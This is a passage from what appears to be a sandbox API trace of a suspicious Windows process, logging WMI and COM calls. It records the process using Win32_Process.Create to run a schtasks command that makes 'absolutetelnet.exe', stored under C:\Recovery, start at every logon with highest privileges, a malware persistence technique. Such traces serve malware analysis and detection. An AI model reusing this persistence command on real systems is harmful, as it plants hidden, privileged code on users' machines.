Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0144.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0144.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bb9ddb0) returned 0x0 [0144.969] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9ddb0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.969] WbemDefPath:IUnknown:Release (This=0x1bb9ddb0) returned 0x3 [0144.969] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0144.969] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0144.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0144.969] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x2 [0144.969] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x1 [0144.969] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0144.969] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0144.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97ff10, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1a97ff10) returned 0x0 [0144.969] WbemDefPath:IUnknown:AddRef (This=0x1a97ff10) returned 0x3 [0144.969] WbemDefPath:IUnknown:Release (This=0x1a97ff10) returned 0x2 [0144.969] WbemDefPath:IWbemPath:SetText (This=0x1a97ff10, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0144.969] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980390, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0144.969] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0144.969] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.969] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0144.969] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0144.970] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0144.970] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.971] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb9dd50) returned 0x0 [0144.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9dd50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0144.972] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9dd50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1a97fe50) returned 0x0 [0144.972] WbemDefPath:IUnknown:Release (This=0x1bb9dd50) returned 0x0 [0144.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1a97fe50) returned 0x0 [0144.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0144.972] WbemDefPath:IUnknown:AddRef (This=0x1a97fe50) returned 0x3 [0144.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0144.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0144.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb9dd30) returned 0x0 [0144.972] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9dd30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.973] WbemDefPath:IUnknown:Release (This=0x1bb9dd30) returned 0x3 [0144.973] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0144.973] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0144.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0144.973] WbemDefPath:IUnknown:Release (This=0x1a97fe50) returned 0x2 [0144.973] WbemDefPath:IUnknown:Release (This=0x1a97fe50) returned 0x1 [0144.973] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0144.973] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0144.973] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fe50, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1a97fe50) returned 0x0 [0144.973] WbemDefPath:IUnknown:AddRef (This=0x1a97fe50) returned 0x3 [0144.973] WbemDefPath:IUnknown:Release (This=0x1a97fe50) returned 0x2 [0144.973] WbemDefPath:IWbemPath:SetText (This=0x1a97fe50, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0144.973] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97ff10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0144.973] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fe50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0144.973] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fe50, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0144.973] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fe50, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0144.973] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1a97ff10) returned 0x0 [0144.973] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fe50, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0144.973] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a97fe50, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0144.973] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a97fe50, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0144.973] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a97ff10, uIndex=0x0, pszName="root") returned 0x0 [0144.973] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a97fe50, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1a97fe50, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0144.974] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1a97ff10, uIndex=0x1, pszName="cimv2") returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetServer (in: This=0x1a97fe50, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetServer (in: This=0x1a97fe50, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetServer (in: This=0x1a97ff10, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetServer (in: This=0x1a97ff10, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97ff10, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980390, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980390, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97ff10, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ff10, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ff10, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ff10, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0144.974] WbemDefPath:IWbemPath:GetText (in: This=0x1a97ff10, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0144.975] IWbemServices:GetObject (in: This=0x1bc0c650, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bc75f10, ppCallResult=0x0) returned 0x0 [0145.035] IWbemClassObject:GetMethod (in: This=0x1bc75f10, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bc76280, ppOutSignature=0x1bb7e690*=0x1bc765f0) returned 0x0 [0145.035] IWbemClassObject:SpawnInstance (in: This=0x1bc76280, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa16fa0) returned 0x0 [0145.035] IWbemClassObject:Get (in: This=0x1aa16fa0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279ed60*=0, plFlavor=0x279ed64*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279ed60*=8, plFlavor=0x279ed64*=32) returned 0x0 [0145.036] IWbemClassObject:Get (in: This=0x1aa16fa0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279ed60*=8, plFlavor=0x279ed64*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279ed60*=8, plFlavor=0x279ed64*=32) returned 0x0 [0145.036] IWbemClassObject:Put (This=0x1aa16fa0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"absolutetelnet\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0145.036] IWbemClassObject:Get (in: This=0x1aa16fa0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279edf0*=0, plFlavor=0x279edf4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279edf0*=13, plFlavor=0x279edf4*=32) returned 0x0 [0145.036] IWbemClassObject:Get (in: This=0x1aa16fa0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279edf0*=13, plFlavor=0x279edf4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279edf0*=13, plFlavor=0x279edf4*=32) returned 0x0 [0145.036] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bc75830) returned 0x0 [0145.036] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0145.036] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0145.037] IUnknown:AddRef (This=0x1bc75830) returned 0x3 [0145.037] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0145.037] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0145.037] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bc75838) returned 0x0 [0145.037] IMarshal:GetUnmarshalClass (in: This=0x1bc75838, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0145.037] IUnknown:Release (This=0x1bc75838) returned 0x3 [0145.037] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0145.037] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0145.037] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0145.037] IUnknown:Release (This=0x1bc75830) returned 0x2 [0145.037] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0145.037] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0145.037] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0145.037] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0145.037] IUnknown:QueryInterface (in: This=0x1bc75830, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0145.037] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0145.037] IUnknown:AddRef (This=0x1bc75830) returned 0x3 [0145.037] IWbemClassObject:Put (This=0x1aa16fa0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bc75830, varVal2=0x0), Type=0) returned 0x0 [0145.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9802d0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0145.038] WbemDefPath:IWbemPath:GetText (in: This=0x1a9802d0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0145.038] WbemDefPath:IWbemPath:GetText (in: This=0x1a9802d0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0145.038] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980390, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0145.038] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0145.038] WbemDefPath:IWbemPath:GetText (in: This=0x1a980390, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0145.038] WbemDefPath:IWbemPath:GetText (in: This=0x1a9802d0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0145.038] WbemDefPath:IWbemPath:GetText (in: This=0x1a9802d0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0145.038] IWbemServices:ExecMethod (in: This=0x1bc0c650, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa16fa0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa1a000, ppCallResult=0x0) returned 0x0 [0145.685] IWbemClassObject:Get (in: This=0x1aa1a000, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279f120*=0, plFlavor=0x279f124*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc04, varVal2=0x0), pType=0x279f120*=19, plFlavor=0x279f124*=0) returned 0x0 [0145.686] IWbemClassObject:Get (in: This=0x1aa1a000, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279f120*=19, plFlavor=0x279f124*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc04, varVal2=0x0), pType=0x279f120*=19, plFlavor=0x279f124*=0) returned 0x0 [0145.686] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0145.687] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0145.687] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0145.687] IUnknown:Release (This=0x1a943398) returned 0x1 [0145.689] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, 